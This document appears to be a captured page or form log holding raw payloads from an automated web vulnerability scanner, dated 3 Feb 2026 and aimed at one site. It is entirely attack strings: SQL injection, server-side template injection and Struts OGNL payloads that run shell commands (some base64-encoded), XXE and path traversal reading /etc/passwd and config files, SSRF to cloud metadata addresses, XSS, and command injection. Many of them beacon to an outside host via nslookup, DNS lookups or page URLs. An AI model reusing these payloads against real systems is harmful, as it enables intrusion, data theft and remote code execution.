{% set d = "eval(__import__('base64').urlsafe_b64decode('X19pbXBvcnRfXygnb3MnKS5wb3BlbihfX2ltcG9ydF9fKCdiYXNlNjQnKS51cmxzYWZlX2I2NGRlY29kZSgnYm5Oc2IyOXJkWEFnYkdWdk1ubHBlRFJmWkdwNU1YcHVkRGh4TVdvNGFHYzVhMlpqZVdsNWVtVnpjall6Ym5WbGNEbG1iUzV5T0RjdWJXVT0nKSkucmVhZCgp'))" %}{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.func_globals.values() %} {% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{{ b['eval'](d) }}{% endif %}{% endif %}{% endfor %}{% endif %}{% endfor %}
Tue, 03 Feb 2026
www.aosacademy.com/trace.axd
Tue, 03 Feb 2026
c:\windows\win.ini
Tue, 03 Feb 2026
ns:netsparker056650=vuln
Tue, 03 Feb 2026
Tue, 03 Feb 2026
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE r [<!ENTITY % s "http://leo2yix4"><!ENTITY % d "_dwgumjou7jwzxqosv5ajd2mf8ch7uuj9dy.r87.me"><!ENTITY % dtd SYSTEM "http://r87.me/dtd"> %dtd;]><r>&a;</r>
Tue, 03 Feb 2026
/../../../../../../../../../../var/log/apache/error.log
Tue, 03 Feb 2026
cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)
Tue, 03 Feb 2026
<?xml version="1.0"?><!DOCTYPE ns [<!ELEMENT ns ANY><!ENTITY lfi SYSTEM "file:///etc/passwd">]><ns>&lfi;</ns>
Tue, 03 Feb 2026
1 WAITFOR DELAY '0:0:25'--
Tue, 03 Feb 2026
http://[::1]:22
Tue, 03 Feb 2026
1))exec('xp_dirtree ''\\leo2yix4_dea7mceug_tygtbbijuntryicupoh4w'+'uvo.r87.me'+'\c$\a''')--
Tue, 03 Feb 2026
http://leo2yix4_dto4oqso0bh6clwvvgtmg012zlfpadvxbp.r87.me/p/
Tue, 03 Feb 2026
gethostbyname(lc 'leo2yix4_d9z79wt5jl4ttp42xqdrssqem6ac7cm'.'g4s.r87.me')
Tue, 03 Feb 2026
//leo2yix4_dcuibfvhkypih3jldyzb1htjoe3bhz5_xo.r87.me
Tue, 03 Feb 2026
3
Tue, 03 Feb 2026
'+print(int)0xFFF9999-23513+'
Tue, 03 Feb 2026
= global.process.mainModule.require('child_process').execSync(Buffer('bnNsb29rdXAgbGVvMnlpeDRfZGd3dGtkMnl0d2hxdmR3YXJtenBhcXg0cmxyY3pmaWMycy5yODcubWU=','base64').toString())
Tue, 03 Feb 2026
64.20.35.186/trace.axd
Tue, 03 Feb 2026
1));SELECT pg_sleep(25)--
Tue, 03 Feb 2026
...//...//...//...//...//...//...//...//...//...//...//windows/win.ini
Tue, 03 Feb 2026
{{268409241-65893}}
Tue, 03 Feb 2026
http://example.com/? ns: netsparker056650=vuln
Tue, 03 Feb 2026
',netsparker(0x177327),'
Tue, 03 Feb 2026
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE r [<!ENTITY % s "php://filter/resource=http://leo2yix4"><!ENTITY % d "_dmi7lmlvehedwwe04gbywd1ax957mklejc.r87.me"><!ENTITY % dtd SYSTEM "http://r87.me/dtd"> %dtd;]><r>&a;</r>
Tue, 03 Feb 2026
&thisdoesntexists;
Tue, 03 Feb 2026
'||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||'
Tue, 03 Feb 2026
hTTp://r87.com/n
Tue, 03 Feb 2026
WAITFOR DELAY '0:0:25'--
Tue, 03 Feb 2026
http://127.0.0.1:3306
Tue, 03 Feb 2026
/../../../../../../../../../../proc/version
Tue, 03 Feb 2026
1'))exec('xp_dirtree ''\\leo2yix4_dlovxy8jnawr5snyhuzgrtpjoaw75ur'+'cwk.r87.me'+'\c$\a''')--
Tue, 03 Feb 2026
eval('gethostbyname(lc 'leo2yix4_d2xbg4kpni9e5tmcqnji1qz1urmg9fx'.'g7y.r87.me')')
Tue, 03 Feb 2026
php://filter//resource=http://leo2yix4_dyuhvlijjva1lqw5wpuq0hp98kopvlsu3b.r87.me/p/
Tue, 03 Feb 2026
3
Tue, 03 Feb 2026
http://r87.me/r/?id=leo2yix4_dnxwentdhy_jsuod5axc-zznppyud9j3t8
Tue, 03 Feb 2026
"+print(int)0xFFF9999-43548+"
Tue, 03 Feb 2026
<%- global.process.mainModule.require('child_process').execSync(Buffer('bnNsb29rdXAgbGVvMnlpeDRfZGdsY3V0ZWlzZHVvczl3cHlva3d6a2Nzc3FrZ2dueDF3ay5yODcubWU=','base64').toString()) %>
Tue, 03 Feb 2026
((SELECT(1)FROM(SELECT(SLEEP(25)))A))
Tue, 03 Feb 2026
....//....//....//....//....//....//....//....//....//....//....//windows/win.ini
Tue, 03 Feb 2026
/../../../../../../../../../../boot.ini
Tue, 03 Feb 2026
127.100.11.2/trace.axd
Tue, 03 Feb 2026
netsparker(0x1774A5)
Tue, 03 Feb 2026
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE r [<!ENTITY % s "php://filter/read=convert.base64-encode/resource=http://leo2yix4"><!ENTITY % d "_dhldwn5n4nunsofddmb38hctcoeiu8dxzk.r87.me"><!ENTITY % dtd SYSTEM "http://r87.me/dtd"> %dtd;]><r>&a;</r>
Tue, 03 Feb 2026
ns:netsparker056650=vuln
Tue, 03 Feb 2026
=268409241-77294
Tue, 03 Feb 2026
/../../../../../../../../../../proc/version.php
Tue, 03 Feb 2026
1) WAITFOR DELAY '0:0:25'--
Tue, 03 Feb 2026
(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL)
Tue, 03 Feb 2026
http://r87.com/n?.php
Tue, 03 Feb 2026
http://64.20.35.186:3306
Tue, 03 Feb 2026
syscolumns WHERE 2>3;exec('xp_dirtree ''\\leo2yix4_djuz6u8r7ubfihruhm36ujwuw6nvu1e'+'uag.r87.me'+'\c$\a''')--
Tue, 03 Feb 2026
'+gethostbyname(lc 'leo2yix4_dgw9nftubo4vfyasbexqok_jzvuqyqi'.'qce.r87.me')+'
Tue, 03 Feb 2026
leo2yix4_dmxbm3m56uzj_sncorfl3vu9tqojjxddix.r87.me/p/
Tue, 03 Feb 2026
'+((SELECT 1 FROM (SELECT SLEEP(25))A))+'
Tue, 03 Feb 2026
.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///windows/win.ini
Tue, 03 Feb 2026
<?=(int)0xFFF9999-23845;//?>
Tue, 03 Feb 2026
{php}Smarty_Resource::parseResourceName(system("nslookup leo2yix4_dpy3vmpsg-m1va12hxjh42zr-jtg3ce"."r8m.r87.me"),'b');{/php}
Tue, 03 Feb 2026
127.0.0.1/trace.axd
Tue, 03 Feb 2026
/../../../../../../../../../../boot.ini.php
Tue, 03 Feb 2026
<%- 268409241-85412 %>
Tue, 03 Feb 2026
'"--></style>[removed][removed]netsparker(0x1775FB)[removed]
Tue, 03 Feb 2026
netsparker(0x1775F9);
Tue, 03 Feb 2026
/../../../../../../../../../../../etc/passwd
Tue, 03 Feb 2026
ns:netsparker056650=vuln
Tue, 03 Feb 2026
') WAITFOR DELAY '0:0:25'--
Tue, 03 Feb 2026
http://r87.com/n?.php
Tue, 03 Feb 2026
NSFTW
Tue, 03 Feb 2026
http://[::1]:3306
Tue, 03 Feb 2026
"+gethostbyname(lc 'leo2yix4_dqra_iyzqgs8m3wqheei0lzfsoq_tmg'.'fgg.r87.me')+"
Tue, 03 Feb 2026
DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','leo2yix4_dvzouhoxdlpm8eus4zzuu97kpm1z2fe'+'n6g.r87.me')exec sp_executesql @r
Tue, 03 Feb 2026
{php}print(int)0xFFF9999-48033;{/php}
Tue, 03 Feb 2026
-1' or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+'
Tue, 03 Feb 2026
. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /windows/win.ini
Tue, 03 Feb 2026
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("nslookup leo2yix4_dzcklnrknodlvho_m0ik7c-_drd9ddx"~"b2c.r87.me")}}
Tue, 03 Feb 2026
1/../../../../../../../../../../boot.ini
Tue, 03 Feb 2026
[::1]/trace.axd
Tue, 03 Feb 2026
<#assign x=268409241 - 97114> ${x?string["0"]}
Tue, 03 Feb 2026
'+netsparker(0x177753)+'
Tue, 03 Feb 2026
'"--></style>[removed][removed]netsparker(0x177736)[removed]
Tue, 03 Feb 2026
3
Tue, 03 Feb 2026
php://filter//resource=http://r87.com/n?.php
Tue, 03 Feb 2026
'+NSFTW+'
Tue, 03 Feb 2026
https://www.aosacademy.com/server-status
Tue, 03 Feb 2026
')) WAITFOR DELAY '0:0:25'--
Tue, 03 Feb 2026
'"--></style>[removed][removed][removed]
Tue, 03 Feb 2026
Tue, 03 Feb 2026
file:///etc/passwd
Tue, 03 Feb 2026
nslookup leo2yix4_duzvtb0dngzl60ktognoweiei_edv-z^tmi.r87.me&'\"`0&nslookup leo2yix4_duzvtb0dngzl60ktognoweiei_edv-z^tmi.r87.me&`'
Tue, 03 Feb 2026
1;DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','leo2yix4_dsn-6boh3yfbxnfudbehath9sarubd9'+'2ii.r87.me')exec sp_executesql @r--
Tue, 03 Feb 2026
-1 OR 1=1
Tue, 03 Feb 2026
'{${print(int)0xFFF9999-39613}}'
Tue, 03 Feb 2026
-1 or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))
Tue, 03 Feb 2026
/../../../../../../../../../../windows/iis6.log
Tue, 03 Feb 2026
file:///boot.ini
Tue, 03 Feb 2026
<%= "#{(require'base64';%x(#{Base64.urlsafe_decode64('bnNsb29rdXAgbGVvMnlpeDRfZHFzcjBoZS1vdWNucWtidnV5ZzA0NndwenlvdGFjdDBzZy5yODcubWU=')})).to_s}" %>
Tue, 03 Feb 2026
https://www.aosacademy.com/elmah.axd
Tue, 03 Feb 2026
[removed]JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MTc3ODcwKTwvc2NyaXB0Pg==
Tue, 03 Feb 2026
<%= "#{268409241-34407}" %>
Tue, 03 Feb 2026
'"@--></style>[removed][removed]netsparker(0x17786E)[removed]
Tue, 03 Feb 2026
-1 OR 1=1
Tue, 03 Feb 2026
r87.com/n
Tue, 03 Feb 2026
3
Tue, 03 Feb 2026
1)) WAITFOR DELAY '0:0:25'--
Tue, 03 Feb 2026
(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)
Tue, 03 Feb 2026
<iMg xss=removed>
Tue, 03 Feb 2026
Tue, 03 Feb 2026
http://169.254.169.254/opc/v1/instance
Tue, 03 Feb 2026
/../../../../../../../../../../../etc/passwd
Tue, 03 Feb 2026
-1';DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','leo2yix4_dwybh18ozoar8x_hyyu4iy1h4kel-qb'+'ary.r87.me')exec sp_executesql @r--
Tue, 03 Feb 2026
& nslookup leo2yix4_dzzums_zztmj1itpwoqxgxagghrcz5i^ib0.r87.me&'\"`0&nslookup leo2yix4_dzzums_zztmj1itpwoqxgxagghrcz5i^ib0.r87.me&`'
Tue, 03 Feb 2026
-1 OR 1=1
Tue, 03 Feb 2026
-1" or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+"
Tue, 03 Feb 2026
[php]print(int)0xFFF9999-44237;[/php]
Tue, 03 Feb 2026
c:\boot.ini
Tue, 03 Feb 2026
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("bash -c {eval,$({tr,/+,_-}<<<bnNsb29rdXAgbGVvMnlpeDRfZGllcTZhOW56eG43YnJvcXB1OWhvOXJ0Z2c3cG5rd29ldS5yODcubWU=|{base64,--decode})}") }
Tue, 03 Feb 2026
/../../../../../../../../../../proc/self/fd/2
Tue, 03 Feb 2026
www.aosacademy.com/elmah.axd
Tue, 03 Feb 2026
'" ns=netsparker(0x1778FD)
Tue, 03 Feb 2026
"+netsparker(0x17792A)+"
Tue, 03 Feb 2026
1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--
Tue, 03 Feb 2026
-1 OR 1=1
Tue, 03 Feb 2026
<iMg src="//r87.me/images/1.jpg" xss=removed>
Tue, 03 Feb 2026
-1'+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'
Tue, 03 Feb 2026
Tue, 03 Feb 2026
/../../../../../../../../../../../etc/passwd.php
Tue, 03 Feb 2026
Tue, 03 Feb 2026
SELECT dblink_connect('host=leo2yix4_dln4hq9dqeuizied5ffgf1bcelkt7fp'||'fbg.r87.me user=a password=a connect_timeout=2')
Tue, 03 Feb 2026
'& nslookup leo2yix4_dem4nw-jcdhxj5nvwpynfpojkqtwsp2^sxi.r87.me&'\"`0&nslookup leo2yix4_dem4nw-jcdhxj5nvwpynfpojkqtwsp2^sxi.r87.me&`'
Tue, 03 Feb 2026
https://metadata.packet.net/metadata
Tue, 03 Feb 2026
'
Tue, 03 Feb 2026
"& ping -n 25 127.0.0.1 &
Tue, 03 Feb 2026
%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='64519').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c','SET /A 0xFFF9999 -' + #cmd}:{'/bin/bash','-c','expr 268409241 - ' + #cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Tue, 03 Feb 2026
ns../../../../../../../../../../../boot.ini.......................................................................................................................................................................................
Tue, 03 Feb 2026
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("cmd.exe /c nslookup leo2yix4_dlpyhb2o9g6th0vcsf7rogt5hx1hou1"+"afi.r87.me") }
Tue, 03 Feb 2026
') AND (SELECT 1 FROM (SELECT(SLEEP(25)))A)-- 1
Tue, 03 Feb 2026
/../../../../../../../../../../proc/self/fd/2.php
Tue, 03 Feb 2026
1 ns=netsparker(0x177A69)
Tue, 03 Feb 2026
64.20.35.186/elmah.axd
Tue, 03 Feb 2026
<html xmlns="http://www.w3.org/1999/xhtml">[removed]netsparker(0x177A73)[removed]</html>
Tue, 03 Feb 2026
NS-1NO
Tue, 03 Feb 2026
1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--
Tue, 03 Feb 2026
1 procedure analyse(extractvalue(rand(),concat(0x3a,CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))),1)-- 1
Tue, 03 Feb 2026
<fRame src=N onload="this.onload='';this.src='//leo2yix4_dukk-ikxfboklj0fk6-lkpniz21-vdx'+'bhy.r87.me/r/?'+location.href">
Tue, 03 Feb 2026
Tue, 03 Feb 2026
Tue, 03 Feb 2026
dblink_connect('host=leo2yix4_dntfza-wr1cmxuhecogjstbwkvdncae'||'qji.r87.me user=a password=a connect_timeout=2')
Tue, 03 Feb 2026
"& nslookup leo2yix4_dwnpkbc5edzweitk4cqgoejocdgjicm^hhw.r87.me&'\"`0&nslookup leo2yix4_dwnpkbc5edzweitk4cqgoejocdgjicm^hhw.r87.me&`'
Tue, 03 Feb 2026
...//...//...//...//...//...//...//...//...//...//...//etc/passwd
Tue, 03 Feb 2026
'& ping -n 25 127.0.0.1 &
Tue, 03 Feb 2026
-1' OR 1=1 OR '1'='1
Tue, 03 Feb 2026
/../../../../../../../../../../boot.ini
Tue, 03 Feb 2026
print localtime()*0+0xFFF9999-36398
Tue, 03 Feb 2026
require 'resolv';Resolv.getaddress ("leo2yix4_des80b7s3dtqdc7sxg0glklza1xxtcw".concat "to8.r87.me")
Tue, 03 Feb 2026
//r87.com/?0x177ACD
Tue, 03 Feb 2026
/../../../../../../../../../../etc/httpd/logs/error.log
Tue, 03 Feb 2026
1);DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--
Tue, 03 Feb 2026
(length(CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))))
Tue, 03 Feb 2026
127.100.11.2/elmah.axd
Tue, 03 Feb 2026
//r87.com/n/n.css?0x177ACA
Tue, 03 Feb 2026
[removed][removed]
Tue, 03 Feb 2026
-1' OR 1=1 OR '1'='1
Tue, 03 Feb 2026
nslookup "leo2yix4_d3ofkkp_uveb5k43458vunyxithnjss""ams.r87.me"
Tue, 03 Feb 2026
cast((SELECT dblink_connect('host=leo2yix4_d6l8inuakd2_outdbt8grfqjgyyfnpa'||'4sq.r87.me user=a password=a connect_timeout=2')) as numeric)
Tue, 03 Feb 2026
Tue, 03 Feb 2026
....//....//....//....//....//....//....//....//....//....//....//etc/passwd
Tue, 03 Feb 2026
& ping -n 25 127.0.0.1 &
Tue, 03 Feb 2026
file:///boot.ini
Tue, 03 Feb 2026
-1" OR 1=1 OR "1"="1
Tue, 03 Feb 2026
__import__('os').popen(__import__('base64').urlsafe_b64decode('bnNsb29rdXAgbGVvMnlpeDRfZGN5ZmNjY2ItODZ0cm5oMWltd3VjaHNscmV1a2Zqa3BsOC5yODcubWU=')).read()
Tue, 03 Feb 2026
eval('print localtime()*0+0xFFF9999-83674')
Tue, 03 Feb 2026
127.0.0.1/elmah.axd
Tue, 03 Feb 2026
/../../../../../../../../../../etc/httpd/logs/error_log
Tue, 03 Feb 2026
"& SET /A 0xFFF9999-84753 &
Tue, 03 Feb 2026
//r87.com/n/j/?0x177B62
Tue, 03 Feb 2026
<a>
Tue, 03 Feb 2026
'||CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))||'
Tue, 03 Feb 2026
";l=document.createElement("link");l.rel="prefetch";l.href="//leo2yix4_dvr58unh5nxw17zpnkaqmyluc_lpw56"+"djk.r87.me/r/?"+location.href;document.head.appendChild(l);//
Tue, 03 Feb 2026
syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--
Tue, 03 Feb 2026
-1" OR 1=1 OR "1"="1
Tue, 03 Feb 2026
cast((SELECT dblink_connect(chr(104)||chr(111)||chr(115)||chr(116)||chr(61)||chr(108)||chr(101)||chr(111)||chr(50)||chr(121)||chr(105)||chr(120)||chr(52)||chr(95)||chr(100)||chr(114)||chr(97)||chr(115)||chr(114)||chr(110)||chr(121)||chr(110)||chr(121)||chr(121)||chr(97)||chr(55)||chr(121)||chr(120)||chr(106)||chr(49)||chr(118)||chr(105)||chr(103)||chr(111)||chr(112)||chr(112)||chr(105)||chr(116)||chr(56)||chr(102)||chr(120)||chr(120)||chr(97)||chr(104)||chr(103)||chr(100)||chr(109)||chr(107)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(61)||chr(97)||chr(32)||chr(112)||chr(97)||chr(115)||chr(115)||chr(119)||chr(111)||chr(114)||chr(100)||chr(61)||chr(97)||chr(32)||chr(99)||chr(111)||chr(110)||chr(110)||chr(101)||chr(99)||chr(116)||chr(95)||chr(116)||chr(105)||chr(109)||chr(101)||chr(111)||chr(117)||chr(116)||chr(61)||chr(50))) as numeric)
Tue, 03 Feb 2026
&nslookup "leo2yix4_dhiz0twlvm5ohlsvuumxyj2g1znwj4s""ly4.r87.me"
Tue, 03 Feb 2026
gethostbyname(trim('leo2yix4_d_f_xxqclj2khi6gfgkjivprnea4mps'.'3e8.r87.me'))
Tue, 03 Feb 2026
.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///etc/passwd
Tue, 03 Feb 2026
-1 OR 1=1
Tue, 03 Feb 2026
c:\boot.ini
Tue, 03 Feb 2026
ping -n 25 127.0.0.1 &
Tue, 03 Feb 2026
'+print localtime()*0+0xFFF9999-99582+'
Tue, 03 Feb 2026
[::1]/elmah.axd
Tue, 03 Feb 2026
'+convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))+'
Tue, 03 Feb 2026
'& SET /A 0xFFF9999-94563 &
Tue, 03 Feb 2026
'><net sparker=netsparker(0x177C93)>
Tue, 03 Feb 2026
ns@mail.ns'"/>()&%[removed]netsparker(0x177C95)[removed]
Tue, 03 Feb 2026
/../../../../../../../../../../var/log/apache2/error.log
Tue, 03 Feb 2026
-1 OR 1=1
Tue, 03 Feb 2026
1 + ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR"*/
Tue, 03 Feb 2026
'||(SELECT dblink_connect('host=leo2yix4_d5fj8_g78fw3u3rvnghccbm9znat2qr'||'9fc.r87.me user=a password=a connect_timeout=2'))||'
Tue, 03 Feb 2026
';l=document.createElement("link");l.rel="prefetch";l.href="//leo2yix4_ddxdpi1nitupbguemoiyuvn5aihcs8q"+"buu.r87.me/r/?"+location.href;document.head.appendChild(l);//
Tue, 03 Feb 2026
'&nslookup "leo2yix4_di8aeqjrgtofqrv4glg6ulx9ktnesaw""jk0.r87.me"
Tue, 03 Feb 2026
gethostbyname(trim('leo2yix4_dkfy6-yrb6ktb6akozfrjocmafsn3sx'.'sq0.r87.me'));
Tue, 03 Feb 2026
. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /etc/passwd
Tue, 03 Feb 2026
/../../../../../../../../../../web.config
Tue, 03 Feb 2026
-1 OR 1=1
Tue, 03 Feb 2026
"&ping -w 25 127.0.0.1 &"
Tue, 03 Feb 2026
http://r87.com/?www.aosacademy.com/
Tue, 03 Feb 2026
"+print localtime()*0+0xFFF9999-7812+"
Tue, 03 Feb 2026
https://www.aosacademy.com/elmah
Tue, 03 Feb 2026
"><net sparker=netsparker(0x177CF6)>
Tue, 03 Feb 2026
& SET /A 0xFFF9999-49075 &
Tue, 03 Feb 2026
-1 AND ((SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(25)))-- 1
Tue, 03 Feb 2026
-1'+and+6=3+or+1=1+(SELECT+1+and+ROW(1,1)>(SELECT+COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)+'
Tue, 03 Feb 2026
Content-Type:text/html [removed]ns(0x177CF8)[removed]
Tue, 03 Feb 2026
-1 OR 1=1
Tue, 03 Feb 2026
(select UTL_INADDR.GET_HOST_ADDRESS('leo2yix4_dtrt9-pdgyuqtkwygx6w4e8herlnqm-'||'uhq.r87.me') from DUAL)
Tue, 03 Feb 2026
"&nslookup "leo2yix4_d7n0akzaaenaxhwzi8z2gzgey_xoxwm""tcy.r87.me"
Tue, 03 Feb 2026
/../../../../../../../../../../var/log/apache/error.log
Tue, 03 Feb 2026
+gethostbyname(trim('leo2yix4_dqaqp1zrwx_hebukxqojdlpaf4bv2hc'.'2hi.r87.me'));//
Tue, 03 Feb 2026
'
Tue, 03 Feb 2026
1/../../../../../../../../../../../etc/passwd
Tue, 03 Feb 2026
/../../../../../../../../../../windows/win.ini
Tue, 03 Feb 2026
arguments[1].end(require('child_process').execSync('expr 268409241 - 82767'))
Tue, 03 Feb 2026
'&ping -w 25 127.0.0.1 &'
Tue, 03 Feb 2026
www.aosacademy.com/elmah
Tue, 03 Feb 2026
SET /A 0xFFF9999-21812 &
Tue, 03 Feb 2026
((select sleep(25)))a-- 1
Tue, 03 Feb 2026
(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('leo2yix4_dqpbaursqqpw842vssimoh44ppcj5ki'||'gkg.r87.me') from DUAL))))
Tue, 03 Feb 2026
NS-1NO
Tue, 03 Feb 2026
-1\'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand(0)*2))x from INFORMATION_SCHEMA.COLLATIONS group by x limit 1))-- 1
Tue, 03 Feb 2026
<frame src="[removed]netsparker(0x177E5B)"></frame>
Tue, 03 Feb 2026
|nslookup${IFS}"leo2yix4_dqukdt73rri0os1wgwnxg7kzzupc6t4""h8a.r87.me"
Tue, 03 Feb 2026
<iMg>
Tue, 03 Feb 2026
/../../../../../../../../../../proc/version
Tue, 03 Feb 2026
http://r87.com/?www.aosacademy.com/
Tue, 03 Feb 2026
'+gethostbyname(trim('leo2yix4_d70mqpsvog66x-yjja39b9ipgfdz1eb'.'i1k.r87.me'))+'
Tue, 03 Feb 2026
-1' OR 1=1 OR '1'='1
Tue, 03 Feb 2026
file:///windows/win.ini
Tue, 03 Feb 2026
/etc/passwd
Tue, 03 Feb 2026
&ping -w 25 127.0.0.1 &
Tue, 03 Feb 2026
(select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual)
Tue, 03 Feb 2026
'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('leo2yix4_dnfwhbpwddfwxcogh75mpbhmdti17mu'||'roc.r87.me') from DUAL))||'
Tue, 03 Feb 2026
arguments[1].end(require('child_process').execSync('set /A 268409241 - 19511'))
Tue, 03 Feb 2026
64.20.35.186/elmah
Tue, 03 Feb 2026
[removed]netsparker(0x177EE6)
Tue, 03 Feb 2026
SET /A 0xFFF9999-87264
Tue, 03 Feb 2026
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='nslookup `whoami`."leo2yix4_d8c3zffanghgnqksd-lh32gtju8jxu_""8k0.r87.me"').(#p=new java.lang.ProcessBuilder({'/bin/bash','-c',#cmd})).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
Tue, 03 Feb 2026
/../../../../../../../../../../proc/version.php
Tue, 03 Feb 2026
-1' OR 1=1 OR '1'='1
Tue, 03 Feb 2026
//r87.com/?http://www.aosacademy.com/
Tue, 03 Feb 2026
/../../../../../../../../../../windows/win.ini.php
Tue, 03 Feb 2026
"+gethostbyname(trim('leo2yix4_d3zcqxhml1io2v3yjuxraxnmtoa2qzv'.'xrw.r87.me'))+"
Tue, 03 Feb 2026
-1" OR 1=1 OR "1"="1
Tue, 03 Feb 2026
/../../../../../../../../../../../etc/passwd
Tue, 03 Feb 2026
(select UTL_INADDR.GET_HOST_ADDRESS(chr(108)||chr(101)||chr(111)||chr(50)||chr(121)||chr(105)||chr(120)||chr(52)||chr(95)||chr(100)||chr(119)||chr(113)||chr(114)||chr(112)||chr(104)||chr(98)||chr(115)||chr(54)||chr(102)||chr(54)||chr(48)||chr(51)||chr(117)||chr(98)||chr(107)||chr(117)||chr(109)||chr(100)||chr(111)||chr(52)||chr(120)||chr(118)||chr(121)||chr(110)||chr(98)||chr(51)||chr(107)||chr(113)||chr(112)||chr(116)||chr(117)||chr(52)||chr(56)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL)
Tue, 03 Feb 2026
